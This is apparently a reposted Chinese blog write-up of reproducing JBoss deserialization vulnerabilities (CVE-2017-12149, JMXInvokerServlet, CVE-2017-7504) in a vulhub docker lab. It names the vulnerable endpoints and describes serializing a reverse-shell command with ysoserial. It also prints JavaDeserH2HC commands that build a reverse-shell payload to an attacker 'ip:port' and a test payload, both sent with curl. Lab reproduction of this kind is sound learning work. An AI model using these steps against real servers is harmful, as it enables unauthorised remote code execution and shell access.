反序列化工具_JBOSS反序列化漏洞
10月13日
簡簡單單的復現一個漏洞0x00 起因?因為當初說要把vulhub上面的漏洞都復現一遍,然后今天看內網的書又頭疼,python也學不下去,打開vulhub,然后隨便一滾鼠標滑輪,剛剛好遇見這個漏洞,那就復現學習一下0x01 JBOSS????????????????????Jboss是一個基于J2EE的開放源代碼的應用服務器。 JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。
0x02 JBoss 5.x/6.x?反序列化漏洞(CVE-2017-12149)Jboss5.x/6.x版本,存在一個Java反序列化錯誤類型的漏洞,漏洞存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化,從而導致了漏洞
該漏洞存在的頁面為:url/invoker/readonly
1、搭建靶場
????????docker+vulhub??訪問存在漏洞的頁面:url/invoker/readonly
??返回500則存在
2、編碼需要執行的命令
查閱資料得知,jboss使用了Runtime.getRuntime().exec(),作用是調用命令腳本語言。
該方法不能使用bash等管道符方法,因此我們需要進行一次編碼:
??編碼網址:
http://www.jackson-t.ca/runtime-exec-payloads.html3、ysoserial生成序列化數據
將我們的反彈shell通過ysoserial進行序列化
得到一個pco.ser
4、對存在問題的網頁進行傳參
????使用Curl命令直接傳輸
5、成功反彈shell
學習的時候發現,師傅們使用了另外一個工具包,javadeserh2hc,不用我們去編碼執行的命令,自帶反彈shell的方法。
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port0x03?JBoss JMXInvokerServlet 反序列化漏洞JMX是一個java的管理協議,在Jboss中的JMXInvokerServlet可以使用HTTP協議與其進行通話。這一通信功能依賴于java的序列化類
?? ?????1、搭建靶場
????????????????docker+vulhub
?????????????? ? ?略
????????2、攻擊方式
????????????????和前一個是一樣的,換url即可,直接上截圖
0x04?CVE-2017-7504JbossMQ實現過程的JMS over HTTP InvocationLayer的HTTPServerILServlet.java文件存在反序列化漏洞,遠程攻擊者可借助特制的序列化數據利用該漏洞執行任意代碼
版本:Jboss?AS?4.x及之前版本
1、搭建環境
????使用vulhub+docker搭建
????略
2、使用上面說的另外一個java反序列化工具JavaDeserH2HC試試
//生成一個ExampleCommonsCollections1WithHashMapjavac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java//使用ExampleCommonsCollections1WithHashMap將命令touch?/tmp/successtiehh進行序列java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "touch /tmp/successtiehh生成一個ExampleCommonsCollections1WithHashMap.ser文件,然后執行curl傳參
(有水印?不慌,個人小號)
0x04 總結1、一兩天花費一點認識一個洞,以后看見不會錯過2、如果你也在復現學習漏洞,過程有問題可以一起討論3、招親,有意向留言,性別不卡死0x05 其他?如您有任何問題、建議、需求請后臺留言NOVASEC公眾號!團隊初創,熱烈希望現在以及未來的大佬們能夠投稿支持!總結
以上是生活随笔為你收集整理的反序列化工具_JBOSS反序列化漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: (1)李白喝酒
- 下一篇: 学习笔记153—matlab中小数如何取